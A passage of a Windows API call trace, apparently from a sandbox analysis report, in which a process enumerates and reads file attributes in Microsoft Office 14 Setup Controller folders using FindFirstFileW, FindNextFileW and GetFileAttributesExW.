	[0050.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), fInfoLevelId=0x0, lpFileInformation=0x123fd0e8 | out: lpFileInformation=0x123fd0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.510] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd4f8 | out: lpFileInformation=0x123fd4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78)) returned 1
	[0050.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fd548 | out: lpFileInformation=0x123fd548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975)) returned 1
	[0050.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), fInfoLevelId=0x0, lpFileInformation=0x123fd598 | out: lpFileInformation=0x123fd598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644)) returned 1
	[0050.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd5e8 | out: lpFileInformation=0x123fd5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80)) returned 1
	[0050.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fd638 | out: lpFileInformation=0x123fd638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5)) returned 1
	[0050.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fd688 | out: lpFileInformation=0x123fd688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1
	[0050.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339)) returned 1
	[0050.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), fInfoLevelId=0x0, lpFileInformation=0x123fd728 | out: lpFileInformation=0x123fd728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931)) returned 1
	[0050.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), fInfoLevelId=0x0, lpFileInformation=0x123fd778 | out: lpFileInformation=0x123fd778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b)) returned 1
	[0050.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), fInfoLevelId=0x0, lpFileInformation=0x123fd7c8 | out: lpFileInformation=0x123fd7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676)) returned 1
	[0050.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fd818 | out: lpFileInformation=0x123fd818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488)) returned 1
	[0050.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd868 | out: lpFileInformation=0x123fd868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90)) returned 1
	[0050.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), fInfoLevelId=0x0, lpFileInformation=0x123fd8b8 | out: lpFileInformation=0x123fd8b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0050.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.519] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fd958 | out: lpFileInformation=0x123fd958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2)) returned 1
	[0050.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), fInfoLevelId=0x0, lpFileInformation=0x123fd9a8 | out: lpFileInformation=0x123fd9a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.520] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.520] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.520] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0050.520] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.520] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.520] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567)) returned 1
